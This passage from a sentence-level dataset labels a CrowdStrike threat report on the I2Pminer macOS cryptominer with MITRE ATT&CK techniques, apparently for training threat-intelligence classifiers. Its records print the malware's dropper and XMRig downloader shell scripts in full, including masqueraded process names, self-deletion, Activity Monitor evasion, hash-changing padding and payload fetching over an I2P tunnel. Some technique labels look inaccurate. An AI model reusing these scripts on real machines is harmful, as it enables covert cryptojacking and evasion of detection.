jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The host now has a running i2pd process.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This will enable it to use the I2P network for the XMRig download, and to handle the miner’s network communications.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "XMRig Downloader Script XMRig is an open source CPU/GPU miner that supports numerous protocols.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper generates and executes a script to download, configure and execute a copy of a XMRig miner.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script is executed as a command line argument passed into a /bin/sh -c", "labels": ["T1059.003"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "[scriptcontent] subprocess.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This script is executed by the Mach-O dropper before the I2P Dropper script, but its first step is to sit in a loop and wait for the creation of the /tmp/i2pd directory.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This directory is generated during the execution of the I2P Dropper script.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "After this file is detected, the XMRig downloader starts a second I2P Daemon process and saves the new pid to /tmp/i2pd.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script then removes any files that conflict with its randomly generated paths.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script then enters a download loop that contains two subloops, one to download the MD5 hash of the XMRig payload, and a second to download the XMRig payload.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "During the first subloop, curl is used to download a MD5 hash from http://127.0.0[.]1:4445/updtmd.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This localhost port is configured to tunnel traffic through i2pd to the destination address listed above.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This loop attempts the download every five seconds until it is successful.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "During this loop, the script implements a check using pgrep for Activity Monitor processes in an attempt to evade user detection.", "labels": ["T1518.001"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If Activity Monitor is detected then execution is stopped and the script exits.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If the MD5 hash is successfully downloaded, its value is saved and execution is passed to the second subloop.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This second subloop performs the same actions but instead pulls the XMRig payload from http://127.0.0[.]1:4445/update.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If this download is successfully written to disk, it is hashed and the value is compared to the previously downloaded MD5 hash.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If the hashes are equal, execution proceeds past the download loop — otherwise, the outer download loop is reevaluated.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The XMRig payload is then extracted from the download via tar, and the resulting Mach-O file is padded with a random number of \\x00 bytes.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Similar to the ip2d process, it is executed via an exec -a call utilizing a process name of /System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local Next, the XMRig Download Script sends the XMRig miner a config via the XMRig miner’s native API.", "labels": ["T1106"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In order to accomplish this, curl is used to send a post message to http://127.0.0[.]1:4543/1/config.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Port 4543 is the default listening port for XMRig’s API.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "An example of this config can be found in the Appendix.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script enters a final loop to once again check for the presence of an Activity Monitor process.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If Activity Monitor is running, the script kills the I2P Daemon and XMRig miner processes and exits.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "XMRig The XMRig binary dropped by the Logic Pro X dropper is also custom tooling built using version 6.18.1 of the open source project.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is also a universal binary supporting both x86_64 and ARM architectures.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The binary’s source is modified to execute with an altered default configuration.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Similar to the I2P Daemon, this is done to minimize command line arguments.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The binary does not need a command line miner config.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The http API is also enabled by default.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is done so that no configs need to be passed via the command line and that the config can be sent via curl within the XMRig download script.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The config also reveals a few details about the mining operations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The existence of a donate-over-proxy value and the usage of generic user and password values within the XMRig configuration reveal the usage of a mining proxy.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The usage of a proxy allows authors to control all of their mining implants and their target pools via a centralized console.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This proxy server is located on the I2P network at the destination of the pool tunnel.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The XMRig implant will execute until the user logs off, shuts down their computer or opens Activity Monitor.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "With the observed configuration, it will utilize the I2P network and the mining proxy to perform CPU mining operations on the host.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Defense Evasion The dropper binary and its scripts utilize a number of techniques to avoid detection.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper bundle in the applications folder appears legitimate, and this bundle houses all of the Logic Pro X dependencies/frameworks.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The authors cleverly utilized these legitimate dependencies via symbolic links when dynamically creating the legitimate bundle in the temp folder.", "labels": ["T1036.005", "T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Even though the scripts produce many on-disk artifacts, the dropper and scripts are quick to remove them as soon as they are executed or used.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The i2pd and XMRig binaries are padded with a random number of zero bytes to change its hash and expand its size.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "They also both use CoreServices framework binaries as the execution name.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is so that it can blend in within process tree/process viewers.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Mining-related CPU spikes can be difficult to notice due to the system resource-intensive applications that were chosen.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If these spikes are noticed, the implant is also quick to kill itself and clean up its on-disk artifacts if it determines the user is investigating system resources via Activity Monitor.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Persistence The dropper does not establish persistence through typical means, instead relying on the lure of its legitimate application for execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The mining infrastructure is dropped, downloaded and deleted every time the dropper executes.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "As long as the dropper successfully launches its legitimate application, the user will continue to execute the dropper under the assumption that it is legitimate.", "labels": ["T1036.005", "T1204.002"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Dropper Variant A related group of dropper variants was also identified (e.g., 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These variants are distributed by a malicious application bundle that contains a setup script, legitimate application and Mach-O dropper.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "All three files are distributed within the Contents/MacOS directory in the application bundle.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The setup script is the app bundle’s primary executable and serves to execute the legitimate binary, copy the Mach-O dropper to /tmp/._[a-zA-Z]{10} and execute the relocated Mach-O. Similar to the techniques and analysis above, the Mach-O dropper installs i2pd and the XMRig miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The variants utilize the same variable names and directory naming schema, and also date back to Summer 2021.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The CrowdStrike Falcon Platform’s Continuous Monitoring and Visibility The Falcon platform takes a layered approach to protect workloads.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and procedures (TTPs) employed by threats and threat actors, the Falcon platform enables visibility, threat detection and continuous monitoring for any environment, reducing the time to detect and mitigate threats.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The industry-leading CrowdStrike Falcon platform sets the new standard in cybersecurity.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Watch this demo to see the Falcon platform in action.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The Falcon platform prevents I2Pminer at various steps throughout its execution, detecting and preventing behavior such as the suspicious dropper script (see Figure 3).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "CrowdStrike’s proactive research targeted the behavior of this malware.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It was discovered that some preventions already applied to the variants before it was known to our researchers.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "To reinforce the layered approach, our teams have since added even more coverage, resulting in several preventions that apply to various stages in the chain.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Suspicious command line execution (click to enlarge) To maximize protection, CrowdStrike recommends enabling the following prevention policy visibility and configuration toggles.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Toggle Prevention Policy Category Description Script-Based Execution Monitoring Sensor Visibility Provides visibility into suspicious scripts, including shell and other scripting languages.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Suspicious Processes Execution Blocking Block processes that CrowdStrike analysts classify as suspicious.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These are focused on dynamic IOAs, such as malware, exploits and other threats.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Start your 15-day free trial today.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "MITRE ATT&CK Framework Tactic Technique Description Execution Command and Scripting Interpreter:", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Unix Shell (T1059.004)", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper utilizes /bin/sh for subprocess execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "User Execution (T1204)", "labels": ["T1204.002"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper is executed by the user.", "labels": ["T1204.002"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Defense Evasion Deobfuscate/Decode Files or Information (T1140) Files are dropped/downloaded as Base64-encoded archives.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Indicator Removal: File Deletion (T1070.004)", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Files are deleted after use.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Masquerading: Match Legitimate Name or Location (T1036.005)", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper is installed into a legitimate file path, posing as the legitimate application. i2pd and XMRig also utilize legitimate file paths to mask their execution.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Command and Control Protocol Tunneling (T1572) XMRig download and mining communications are tunneled through the I2P network layer.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Impact Resource Hijacking (T1496) XMRig utilizes system resources for mining operations. Indicators of Compromise (IOCs) Files File SHA256 Dropper (Logic Pro X) bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7 i2pd a22b48ce098ad4b082c4f4de78c708294e08212ab8dfd818642f7922c8e794c3 XMRig 86019af5850b01c6c6c9c724e0468a891947b2ef5da930405a30342f1e6ae5eb Dropper (Variant) 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5 I2P Domains Domain hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p Appendix Legitimate Application Script sh -c SCRIPTPATH=$( cd -- \"$(dirname \"/Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X\")/..\"", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": ">/dev/null 2>&1 ; pwd -P );BLOB_PATH=\"/tmp/._KbmflZqwXa\";IMG_SP_PATH=\"/tmp/._bHOospjBUL\";[ -f \"$IMG_SP_PATH\" ] && rm -rf \"$IMG_SP_PATH\";[ -d \"$IMG_SP_PATH\" ] && rm -rf \"$IMG_SP_PATH\";TMPDIR=\"$IMG_SP_PATH/Logic Pro X.app/Contents\";mkdir -p", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$TMPDIR\";( find \"$SCRIPTPATH\" -type d -mindepth 1 -maxdepth 1 -exec ln -s", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "../ {} \"$TMPDIR\" \\;)", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "> /dev/null 2>&1;rm", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "-rf", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$TMPDIR/MacOS\";mkdir \"$TMPDIR/MacOS\";(find \"$SCRIPTPATH\" -type f -maxdepth 1 -exec cp {} \"$TMPDIR\" \\;) > /dev/null 2>&1;(find \"$SCRIPTPATH/MacOS\" -type f -mindepth 1 -maxdepth 1 -exec ln -s ../ {} \"$TMPDIR/MacOS\" \\;) > /dev", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/null 2>&1;APP_MACH=\"$TMPDIR/MacOS/Logic Pro X\";rm", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "-rf \"$APP_MACH\";CT=$(mktemp /tmp/._XXXXXXXX);cat \"$BLOB_PATH\" | base64 -o \"$CT\" -d;tar -xf", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$CT\" -O >\"$APP_MACH\";rm -rf \"$CT\";rm -rf \"$BLOB_PATH\";chmod +x \"$APP_MACH\"; I2P Dropper Script #!/bin/bash rm -rf \"$0\";I2PCTMPFILE=$(mktemp /tmp/._XXXXXXXX);I2PBASE64BLOB=\"[base64 blob]\";echo $I2PBASE64BLOB | base64 -o \"$I2PCTMPFILE\" -d;tar -xf \"$I2PCTMPFILE\" -O > \"$0\";head -c $(($RANDOM*$((1 + RANDOM % 1000))))", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/zero >>", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$0\";rm -rf \"$I2PCTMPFILE\";chmod +x \"$0\";(( exec -a \"/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared\" \"$0\" ) & echo $! >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"/tmp/i2pd/._pid\");sleep 3 && rm -rf \"$0\";exit XMRig Downloader Script sh -c /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/mdworker-bundle -s mdworker-bundle -c MDSImporterBundleFinder -m", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "com.apple.metadata.mdbulkimport > /dev/null 2>&1;appId=\"[uniqueid]\";r_nme=\"BGlyVRaZgH\";r_i2=\"QSRqPzSHBd\";tmr=\"\\u000c\";rnd_sz=\"2521286\";PLD=\"update\";MD5=\"updtmd\";[ ! -d \"/tmp/i2pd\" ] && mkdir \"/tmp/i2pd\"; (( while true; do sleep 1; [ -f \"/tmp/i2pd/._pid\" ] && break;done; PID=$(cat \"/tmp/i2pd/._pid\") && rm -rf \"/tmp/i2pd/._pid\"; chmod +x \"/tmp/._${r_i2}\"; (\"/tmp/._${r_i2}\" &); while true; do sleep 2; [ -f \"/tmp/i2pd/._pid\" ] && break;done; I2PD_PID=$(cat \"/tmp/i2pd/._pid\") && rm -rf \"/tmp/i2pd/._pid\"; tmpwd=\"/tmp\"; d_p=\"$tmpwd/._${r_nme}\"; d_md5=\"$tmpwd/._${r_nme}_md5\"; [ -d \"$d_p\" ] && rm -rf \"$d_p\"; [ -d \"$d_md5\" ] && rm -rf \"$d_md5\"; [ -f \"$d_p\" ] && rm -rf \"$d_p\"; [ -f \"$d_md5\" ] && rm -rf \"$d_md5\"; complete=\"false\"; finished=\"false\"; while [ \"$complete\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"true\" ]; do while [ \"$finished\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"true\" ]; do curl --silent -o \"$d_md5\" \"http://127.0.0.1:4445/$MD5\"; [ -f \"$d_md5\" ] && finished=\"true\" && md2=$(cat \"$d_md5\") && rm -rf \"$d_md5\"; sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ \"$I2PD_PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"\" ] && kill -9 \"$I2PD_PID\" >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/null 2>&1;[ \"$PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"\" ] && kill \"$PID\" >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/null 2>&1;pkill", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"._${r_i2}\";exit); done; finished=\"false\"; while [ \"$finished\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"true\" ]; do curl --silent -o \"$d_p\" \"http://127.0.0.1:4445/$PLD\"; [ -f \"$d_p\" ] && finished=\"true\" && md1=$(md5 -q \"$d_p\"); sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ -f \"$d_p\" ] && rm -rf \"$d_p\";[ \"$I2PD_PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"._${r_i2}\";exit); done; [[ \"$md1\" == \"$md2\" ]] && complete=\"true\"; done; TMPFILE=$(mktemp /tmp/._XXXXXXXX);", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "tar -xf \"$d_p\" -O > \"$TMPFILE\"; rm -rf \"$d_p\"; mv \"$TMPFILE\" \"$d_p\"; head -c $rnd_sz /dev/zero >>", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$d_p\"; chmod +x \"$d_p\"; (( exec -a \"/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local\" \"$d_p\" ) & echo $! >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"/tmp/i2pd/._pid\"); PIDW=$(cat \"/tmp/i2pd/._pid\") && rm -rf \"/tmp/i2pd/._pid\"; sleep 9; XARCH=$(uname -m); [[ \"$XARCH\" == \"x86_64\" ]] && HP=true ||", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "HP=false; echo '{ \"api\": { \"id\": null, \"worker-id\": null }, \"http\": { \"enabled\": true, \"host\": \"127.0.0.1\", \"port\": 4543, \"access-token\": 2, \"restricted\": false }, \"autosave\": true, \"background\": false, \"colors\": true, \"title\": true, \"randomx\": { \"init\": -1, \"init-avx2\": -1, \"mode\": \"auto\", \"1gb-pages\": false, \"rdmsr\": true, \"wrmsr\": true, \"cache_qos\": false, \"numa\": true, \"scratchpad_prefetch_mode\": 1 }, \"cpu\": { \"enabled\": true, \"huge-pages\": '$HP', \"huge-pages-jit\": false, \"hw-aes\": null, \"priority\": null, \"memory-pool\": false, \"yield\": true, \"max-threads-hint\": 25, \"asm\": false, \"argon2-impl\": null, \"astrobwt-max-size\": 550, \"astrobwt-avx2\": false, \"cn/0\": false, \"cn-lite/0\": false }, \"opencl\": { \"enabled\": false, \"cache\": true, \"loader\": null, \"platform\": \"AMD\", \"adl\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"cuda\": { \"enabled\": false, \"loader\": null, \"nvml\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"donate-level\": 0, \"donate-over-proxy\": 1, \"log-file\": null, \"pools\": [ { \"algo\": null, \"coin\": null, \"url\": \"127.0.0.1:4444\", \"user\": \"x\", \"pass\": \"x\", \"rig-id\": \"'${XARCH:0:1}${appId:0:7}'\", \"nicehash\": true, \"keepalive\": false, \"enabled\": true, \"tls\": false, \"tls-fingerprint\": null, \"daemon\": false, \"socks5\": null, \"self-select\": null, \"submit-to-origin\": false } ], \"print-time\": 60, \"health-print-time\": 60, \"dmi\": true, \"retries\": 5, \"retry-pause\": 5, \"syslog\": false, \"tls\": { \"enabled\": false, \"protocols\": null, \"cert\": null, \"cert_key\": null, \"ciphers\": null, \"ciphersuites\": null, \"dhparam\": null }, \"user-agent\": null, \"verbose\": 0, \"watch\": true, \"pause-on-battery\": false, \"pause-on-active\": false }'|curl --silent --data-binary @- -H \"Expect: 2400\" -H \"Content-Type: application/json\" -H \"Authorization: Bearer 2\" http://127.0.0.1:4543/1/config >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/null; [ -f \"$d_p\" ] && rm -rf \"$d_p\"; (APID=$$;(while true; do sleep 3;(pgrep -x 'Activity Monitor' > /dev/null) && break;done;); [ \"$I2PD_PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/null 2>&1; [ \"$PIDW\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"\" ] && kill \"$PIDW\" > /dev/null 2>&1; [ \"$PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"\" ] && kill \"$PID\" > /dev/null 2>&1; pkill \"._${r_nme}\"; pkill \"._${r_i2}\"; kill \"$APID\" > /dev/null 2>&1;); exit) & echo $! >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"/tmp/i2pd/._pid\"); XMRig Config { \"api\": { \"id\": null, \"worker-id\": null }, \"http\": { \"enabled\": true, \"host\": \"127.0.0.1\", \"port\": 4543, \"access-token\": 2, \"restricted\": false }, \"autosave\": true, \"background\": false, \"colors\": true, \"title\": true, \"randomx\": { \"init\": -1, \"init-avx2\": -1, \"mode\": \"auto\", \"1gb-pages\": false, \"rdmsr\": true, \"wrmsr\": true, \"cache_qos\": false, \"numa\": true, \"scratchpad_prefetch_mode\": 1 }, \"cpu\": { \"enabled\": true, \"huge-pages\": \"$HP\", \"huge-pages-jit\": false, \"hw-aes\": null, \"priority\": null, \"memory-pool\": false, \"yield\": true, \"max-threads-hint\": 25, \"asm\": false, \"argon2-impl\": null, \"astrobwt-max-size\": 550, \"astrobwt-avx2\": false, \"cn/0\": false, \"cn-lite/0\": false }, \"opencl\": { \"enabled\": false, \"cache\": true, \"loader\": null, \"platform\": \"AMD\", \"adl\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"cuda\": { \"enabled\": false, \"loader\": null, \"nvml\": true, \"cn/0\": false, \"cn-lite/0\": false }, \"donate-level\": 0, \"donate-over-proxy\": 1, \"log-file\": null, \"pools\": [ { \"algo\": null, \"coin\": null, \"url\": \"127.0.0.1:4444\", \"user\": \"x\", \"pass\": \"x\", \"rig-id\": \"'${XARCH:0:1}${appId:0:7}'\", \"nicehash\": true, \"keepalive\": false, \"enabled\": true, \"tls\": false, \"tls-fingerprint\": null, \"daemon\": false, \"socks5\": null, \"self-select\": null, \"submit-to-origin\": false } ], \"print-time\": 60, \"health-print-time\": 60, \"dmi\": true, \"retries\": 5, \"retry-pause\": 5, \"syslog\": false, \"tls\": { \"enabled\": false, \"protocols\": null, \"cert\": null, \"cert_key\": null, \"ciphers\": null, \"ciphersuites\": null, \"dhparam\": null }, \"user-agent\": null, \"verbose\": 0, \"watch\": true, \"pause-on-battery\": false, \"pause-on-active\": false } Endnote https://www.trendmicro.com/en_us/research/22/b/latest-mac-coinminer-utilizes-open-source-binaries-and-the-i2p-network.html Additional Resources Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Get a full-featured free trial of CrowdStrike Falcon Prevent and see for yourself how true next-gen AV performs against today’s most sophisticated threats.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "MERCURY is now tracked as Mango Sandstorm and DEV-1084 is now tracked as Storm-1084.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "To learn more about the new taxonomy represents the origin, unique traits, and impact of threat actors, to get complete mapping of threat actor names, read this blog:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft shifts to a new threat actor naming taxonomy.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} 